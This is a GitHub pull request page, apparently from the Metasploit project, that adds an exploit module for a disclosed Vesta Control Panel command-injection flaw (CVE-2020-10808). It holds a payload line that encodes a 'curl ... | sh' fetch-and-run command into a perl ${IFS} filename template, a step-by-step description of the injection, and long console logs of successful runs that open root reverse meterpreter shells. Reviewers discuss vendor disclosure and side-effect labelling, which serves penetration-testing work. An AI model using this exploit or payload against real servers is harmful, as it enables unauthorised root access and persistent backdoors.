Headline
CVE-2020-10808: Adding Vesta Control Panel Remote Code Execution 0day by mdisec · Pull Request #13094 · rapid7/metasploit-framework
Vesta Control Panel (VestaCP) through 0.9.8-26 allows Command Injection via the schedule/backup Backup Listing Endpoint. The attacker must be able to create a crafted filename on the server, as demonstrated by an FTP session that renames .bash_logout to a .bash_logout’ substring followed by shell metacharacters.
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation 77 Commits 7 Checks 0 Files changed
Conversation
Hi all,
It’s been a while since I haven’t release one of these.
PS: #13093 must be landed first.
Verification
List the steps needed to make sure this thing works
- Start msfconsole
- use exploit/linux/http/vestacp_exec
- Set RHOST
- Set LHOST
- Set USERNAME
- Set PASSWORD
- Set SRVHOST
- Set SRVPORT
- Run exploit
- Verify that you are seeing Successfully authenticated to the FTP service in console.
- Verify that you are seeing Successfully uploaded the payload as a file name in console.
- Verify that you are seeing Successfully authenticated to the HTTP Service in console.
- Verify that you are seeing Scheduled backup has ben started. Exploitation may take up to 5 minutes. in console.
- Verify that you are seeing It seems there is an active backup process ! Recheck after 30 second. Zzzzzz… in console.
- Verify that you are seeing First stage is executed ! Sending 2nd stage of the payload in console.
- Verify that you are getting meterpreter session.
Technical details https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/
# actual python meterpreter first stager and execute it.
final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack(“H*”).first
p = “perl${IFS}-e${IFS}’system(pack(qq,H#{final_payload.length},qq,#{final_payload},))'”
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Command stagers should be able to operate even with these restrictions, were there any issues you noticed?
Copy link
Contributor Author
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I haven’t noticed specific issue but I choose meterpreter payload delivery via web because of following reasons:
Meterpreter is lovely ❤️ I always go for it if it’s possible.
Raw cmd stagers contains lots of special chars , such as < > & " etc etc , which are usually cause a syntax errors during exploitation of these type of vulnerabilities. So I have to must black-listed almost all of them, which means final payload will always be perl{IFS}-e{IFS} template no matter what type of cmd stager is being used.
Specially when you encode python meterpreter stager into the perl{IFS}-e{IFS} template, there is no way to keep it shorter then file name length. So that means even if I support multiple payload platform, I have to use web delivery when python payload selected, which brings more and more if-else states in the module. I’m not even mentioning about supporting linux elf binary stagers, which brings even moreeee if-elses to module and bash codes on the server. At some point, I told my self “Meeeh, that’s getting complicated :D why don’t we just focus python meterpreter”
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yeah, using a library is ideal, but if the vuln is specific enough on restrictions, it’s probably best to do custom encoding instead of working around the library. Fewer regressions may be anticipated in this case.
That said, I would make my best effort to make the library work, and I would modify the library if possible, but that may be more regression-prone. I think what you’ve done is fine in this case, and the module will continue to work into the future.
Hey @mmetince, we’re going to take a look at this in a bit, but question for you: Has the vuln been disclosed to the vendor here? And if it hasn’t been, it needs to be. If you don’t want to do that, @todb-r7 might be able to help out.
Copy link
Contributor Author
Hey @ccondon-r7 , vulnerability has been disclosed to the vendor. Fix is merged to the master with following commit serghey-rodin/vesta@a571254 ! I also reported this vulnerability to the different projects that are use vesta-cp as a base project.
Awesome, @mmetince, thanks for confirming. You’re the best! Nice work :)
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There are a few areas in this that still need fixes which I have marked in the review. Rest of it looks like mostly just grammatical and spelling errors which I will fix after you’ve fixed up these issues.
Also @mmetince tried your exploit using the install instructions at http://vestacp.com/install/ on Ubuntu 18.03 LTS. Seems the exploit does work though, but had to run it twice and then got a root shell instantly; guess the listener was timing out or something cause first try wasn’t reliable and I lost the shell.
msf5 > use exploit/linux/http/vestacp_exec
msf5 exploit(linux/http/vestacp_exec) > set RHOST 172.16.139.129
RHOST => 172.16.139.129
msf5 exploit(linux/http/vestacp_exec) > set LHOST 172.16.139.1
LHOST => 172.16.139.1
msf5 exploit(linux/http/vestacp_exec) > set SRVHOST 172.16.139.1
SRVHOST => 172.16.139.1
msf5 exploit(linux/http/vestacp_exec) > set USERNAME tester
USERNAME => tester
msf5 exploit(linux/http/vestacp_exec) > set PASSWORD testing
PASSWORD => testing
msf5 exploit(linux/http/vestacp_exec) > show options
Module options (exploit/linux/http/vestacp_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD testing yes The password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.139.129 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8083 yes The target port (TCP)
SRVHOST 172.16.139.1 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is random)
USERNAME tester yes The username to login as
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.139.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/http/vestacp_exec) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(linux/http/vestacp_exec) > [*] Started reverse TCP handler on 172.16.139.1:4444
[*] 172.16.139.129:8083 - Using URL: http://172.16.139.1:8080/5EgtLfy5uO17X
[*] 172.16.139.129:8083 - Second payload download URI is http://172.16.139.1:8080/5EgtLfy5uO17X
[+] 172.16.139.129:21 - Successfully authenticated to the FTP service
[+] 172.16.139.129:21 - Successfully uploaded the payload as a file name
[*] 172.16.139.129:8083 - Retrieving cookie and csrf token values
[+] 172.16.139.129:8083 - Cookie and CSRF token values successfully retrieved
[*] 172.16.139.129:8083 - Authenticating to HTTP Service with given credentials
[+] 172.16.139.129:8083 - Successfully authenticated to the HTTP Service
[+] 172.16.139.129:8083 - Scheduled backup has ben started. Exploitation may take up to 5 minutes.
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[+] 172.16.139.129:8083 - First stage is executed ! Sending 2nd stage of the payload
[*] Sending stage (53755 bytes) to 172.16.139.129
[*] Meterpreter session 1 opened (172.16.139.1:4444 -> 172.16.139.129:57612) at 2020-04-11 00:10:17 -0500
[-] 172.16.139.129:8083 - Exploit aborted due to failure: unknown: Something went wrong. Maybe session timed out ?
[*] 172.16.139.129:8083 - Server stopped.
msf5 exploit(linux/http/vestacp_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
[-] Unknown command: getuid.
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > ls
[-] Unknown command: ls.
meterpreter > shell
[-] Unknown command: shell.
meterpreter > guid
[+] Session GUID: 00000000-0000-0000-0000-000000000000
meterpreter >
[*] 172.16.139.129 - Meterpreter session 1 closed. Reason: Died
msf5 exploit(linux/http/vestacp_exec) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.139.1:4444
msf5 exploit(linux/http/vestacp_exec) > [*] 172.16.139.129:8083 - Using URL: http://172.16.139.1:8080/k9CjxSf3qjf
[*] 172.16.139.129:8083 - Second payload download URI is http://172.16.139.1:8080/k9CjxSf3qjf
[+] 172.16.139.129:21 - Successfully authenticated to the FTP service
[+] 172.16.139.129:21 - Successfully uploaded the payload as a file name
[*] 172.16.139.129:8083 - Retrieving cookie and csrf token values
[+] 172.16.139.129:8083 - Cookie and CSRF token values successfully retrieved
[*] 172.16.139.129:8083 - Authenticating to HTTP Service with given credentials
[+] 172.16.139.129:8083 - Successfully authenticated to the HTTP Service
[+] 172.16.139.129:8083 - Scheduled backup has ben started. Exploitation may take up to 5 minutes.
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] Sending stage (53755 bytes) to 172.16.139.129
[*] Meterpreter session 2 opened (172.16.139.1:4444 -> 172.16.139.129:57652) at 2020-04-11 00:21:42 -0500
msf5 exploit(linux/http/vestacp_exec) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
meterpreter > shell
Process 63749 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
And then I did one more test after killing all jobs to double check:
msf5 exploit(linux/http/vestacp_exec) > exploit
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.139.1:4444
msf5 exploit(linux/http/vestacp_exec) > [*] 172.16.139.129:8083 - Using URL: http://172.16.139.1:8080/wW7t9zd6
[*] 172.16.139.129:8083 - Second payload download URI is http://172.16.139.1:8080/wW7t9zd6
[+] 172.16.139.129:21 - Successfully authenticated to the FTP service
[+] 172.16.139.129:21 - Successfully uploaded the payload as a file name
[*] 172.16.139.129:8083 - Retrieving cookie and csrf token values
[+] 172.16.139.129:8083 - Cookie and CSRF token values successfully retrieved
[*] 172.16.139.129:8083 - Authenticating to HTTP Service with given credentials
[+] 172.16.139.129:8083 - Successfully authenticated to the HTTP Service
[+] 172.16.139.129:8083 - Scheduled backup has ben started. Exploitation may take up to 5 minutes.
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 172.16.139.129:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[+] 172.16.139.129:8083 - First stage is executed ! Sending 2nd stage of the payload
[*] Sending stage (53755 bytes) to 172.16.139.129
[*] Meterpreter session 4 opened (172.16.139.1:4444 -> 172.16.139.129:57808) at 2020-04-11 00:30:04 -0500
msf5 exploit(linux/http/vestacp_exec) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > getuid
Server username: root
meterpreter > shell
Process 66042 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
# ge
[-] 172.16.139.129:8083 - Exploit aborted due to failure: unknown: Something went wrong. Maybe session timed out ?
[*] 172.16.139.129:8083 - Server stopped.
^R
whoami
root
#
So looks like it is working but I’d like to see that error about the session timing out resolved somehow as it seems to be appearing all the time even when the exploit completes successfully. I’ll also retest this again when all of the fixes have been applied to ensure that thing still work as expected.
Signed-off-by: Mehmet İnce [email protected]
Signed-off-by: Mehmet İnce [email protected]
Signed-off-by: Mehmet İnce [email protected]
Copy link
Contributor Author
@gwillcox-r7 Thank you very much for your comprehensive review ! 🤘🏻
Seems the exploit does work though, but had to run it twice and then got a root shell instantly
The reason why you’ve got the instant root shell on your second run is all about nature of the vulnerability.
One of the most important thing about this exploit module is that, we are injection our payload into the cat /usr/local/vesta/data/users/[USERNAME]/backup.conf file by using v-backup-user. That files contains all the information about backup of the user. When the backup is done, we are triggering the payload.
So the logic is like a follow.
1 - Put an empty file into the user home folder with a malicious file name.
2 - Trigger the backup, which will manipulate the backup.conf !
3 - Visit the backup list URL, if you are seeing An existing backup is already running. that means backup is still in progress. We must wait until it’s done.
4 - Visit the backup list URL again and agin. If the backup is done, that means we are not seeing An existing backup is already running., which means we triggered the payload !
When you second run the module, it triggers another backup process. In that case, backup.conf file content already contains a payload from the first attempt ! On your first attempt to check status of the backup via backup list URL, you are triggering payload that is already placed on the first attempt :)
Copy link
Contributor Author
Here is the output of final version.
msf5 exploit(linux/http/vestacp_exec) > run
[*] Exploit running as background job 32.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.74.1:4444
[*] 192.168.74.218:8083 - Using URL: http://192.168.74.1:8081/poSeL7s
msf5 exploit(linux/http/vestacp_exec) > [*] 192.168.74.218:8083 - Second payload download URI is http://192.168.74.1:8081/poSeL7s
[+] 192.168.74.218:21 - Successfully authenticated to the FTP service
[+] 192.168.74.218:21 - The file with the payload in the file name has been successfully uploaded.
[*] 192.168.74.218:8083 - Retrieving cookie and csrf token values
[+] 192.168.74.218:8083 - Cookie and CSRF token values successfully retrieved
[*] 192.168.74.218:8083 - Authenticating to HTTP Service with given credentials
[+] 192.168.74.218:8083 - Successfully authenticated to the HTTP Service
[*] 192.168.74.218:8083 - Starting scheduled backup. Exploitation may take up to 5 minutes.
[+] 192.168.74.218:8083 - Scheduled backup has been started !
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.74.218:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[+] 192.168.74.218:8083 - First stage is executed ! Sending 2nd stage of the payload
[*] Sending stage (53755 bytes) to 192.168.74.218
[*] Meterpreter session 8 opened (192.168.74.1:4444 -> 192.168.74.218:58790) at 2020-04-11 14:35:23 +0300
msf5 exploit(linux/http/vestacp_exec) > sessions -i 8
[*] Starting interaction with 8...
meterpreter > shell
Process 42978 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
meterpreter > shell
[+] 192.168.74.218:8083 - It seems scheduled backup is done ..! Triggering the payload <3
#
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@mmetince Looking a lot better, still some areas to fix up. Sorry for earlier deleted comment, I made a comment initially and then deleted it and moved it into this full review instead. Main issues were the lack of a check command at the moment and the fact that you didn’t update the listings within the documentation. Rest of it is mostly edits for additional clarity in certain areas.
Let me know if you have any questions or concerns!
Also @mmetince I didn’t mention this before but given that this module alters a config file, I would like to ensure that there is additional documentation that reflects this.
Can we add the following in (ratings taken from https://github.com/rapid7/metasploit-framework/wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability )
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'Reliability' => [ FIRST_ATTEMPT_FAIL, ],
'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES, ],
},
The reason for me adding IOC_IN_LOGS is cause if I open up /usr/local/vesta/log/backup.log there are clear copies of the commands you are executing in the logs which could indicate potential compromise.
For a good reference of where these should be placed, see
On a similar note I’d also be interested if there is any way your exploit could clean up after itself as right now it seems that once one runs the exploit, every subsequent backup attempt will try connect back to the attacker’s machine. This might be great for persistence but if someone is in a pentest, this will be an absolute nightmare as most likely someone will have to go back through the log file and clean out their entires by hand, which could take a long time if the log file is particularly large.
Haven’t looked much at this module, but ARTIFACTS_ON_DISK might also be warranted. No, CONFIG_CHANGES is suitable for this, as suggested. Disregard. :)
Copy link
Contributor Author
@gwillcox-r7 It has been a while since I haven’t got that kind of detailed review of my PRs on msf project ! Thank you very much. Much appreciated 🤘🏻
Let me know if you wanna see additional improvements and changes.
Confirmed that the Notes section has been updated correctly. This was not part of the review comments so I can’t mark it as completed, but it looks good now 👍
Copy link
Contributor Author
Thank @gwillcox-r7. Let me know if I missed any of your comments that I need to fix.
@mmetince New changes look good!
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks good, will need to make some edits for grammar and spelling but rest should be fine. Will also need to do some additional testing just to make sure some of the new logic additions work. Should land this soon though!
Hello @mmetince I made some minor changes to your exploit in c151b93 to help improve some grammar and spelling issues and updated some output lines and comments to make things a bit easier for the end user to understand. The following is the output from testing it after these changes were made, showing that the exploit is still working as expected:
msf5 > use exploit/linux/http/vestacp_exec
msf5 exploit(linux/http/vestacp_exec) > info
Name: Vesta Control Panel Authenticated Remote Code Execution
Module: exploit/linux/http/vestacp_exec
Platform: Python
Arch: python
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-03-17
Provided by:
Mehmet Ince <[email protected]>
Module side effects:
ioc-in-logs
config-changes
Module stability:
crash-safe
Module reliability:
first-attempt-fail
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8083 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes The username to login as
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an authenticated command injection
vulnerability in the v-list-user-backups bash script file in Vesta
Control Panel to gain remote code execution as the root user.
References:
https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/
https://cvedetails.com/cve/CVE-2020-10808/
msf5 exploit(linux/http/vestacp_exec) > set USERNAME tester
USERNAME => tester
msf5 exploit(linux/http/vestacp_exec) > set PASSWORD tester
PASSWORD => tester
msf5 exploit(linux/http/vestacp_exec) > set RHOSTS 192.168.205.130
RHOSTS => 192.168.205.130
msf5 exploit(linux/http/vestacp_exec) > set SRVHOST 192.168.205.1
SRVHOST => 192.168.205.1
msf5 exploit(linux/http/vestacp_exec) > set SRVPORT 9090
SRVPORT => 9090
msf5 exploit(linux/http/vestacp_exec) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf5 exploit(linux/http/vestacp_exec) > show options
Module options (exploit/linux/http/vestacp_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD tester yes The password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.205.130 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8083 yes The target port (TCP)
SRVHOST 192.168.205.1 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 9090 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is random)
USERNAME tester yes The username to login as
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/http/vestacp_exec) > set LHOST 192.168.205.1
LHOST => 192.168.205.1
msf5 exploit(linux/http/vestacp_exec) > set LPORT 3443
LPORT => 3443
msf5 exploit(linux/http/vestacp_exec) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(linux/http/vestacp_exec) >
[*] Started reverse TCP handler on 192.168.205.1:3443
[*] 192.168.205.130:8083 - Using URL: http://192.168.205.1:9090/aGLWKLje
[*] 192.168.205.130:8083 - Second payload download URI is http://192.168.205.1:9090/aGLWKLje
[+] 192.168.205.130:21 - Successfully authenticated to the FTP service
[+] 192.168.205.130:21 - The file with the payload in the file name has been successfully uploaded.
[*] 192.168.205.130:8083 - Retrieving cookie and csrf token values
[+] 192.168.205.130:8083 - Cookie and CSRF token values successfully retrieved
[*] 192.168.205.130:8083 - Authenticating to HTTP Service with given credentials
[*] 192.168.205.130:8083 - Starting scheduled backup. Exploitation may take up to 5 minutes.
[+] 192.168.205.130:8083 - Scheduled backup has been started !
[*] 192.168.205.130:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.205.130:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.205.130:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.205.130:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[*] 192.168.205.130:8083 - It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...
[+] 192.168.205.130:8083 - First stage is executed ! Sending 2nd stage of the payload
[*] Sending stage (53755 bytes) to 192.168.205.130
[*] Meterpreter session 1 opened (192.168.205.1:3443 -> 192.168.205.130:33644) at 2020-04-13 16:40:07 -0500
[+] 192.168.205.130:8083 - Payload appears to have executed in the background. Enjoy the shells <3
msf5 exploit(linux/http/vestacp_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: root
meterpreter > shell
Process 20220 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
Copy link
Contributor Author
Awesome ! Thank you very much for all of your effort on this PR, @gwillcox-r7 🤘🏻
Release Notes
A new module, modules/exploits/linux/http/vestacp_exec was added that exploits CVE-2020-10808, an authenticated command injection vulnerability within the v-list-user-backups script of Vesta Control Panel 0.9.8-26 and prior. Successful exploitation results in remote code execution as the root user.
Amazing collaboration. Great work, guys!
I’m getting error exploiting.
Current configuration and error is
I’ve given all necessary options. Can you please help me ?
@margo-gru please create a new issue. Please also ensure you provide the relevant stack trace(s) from framework.log.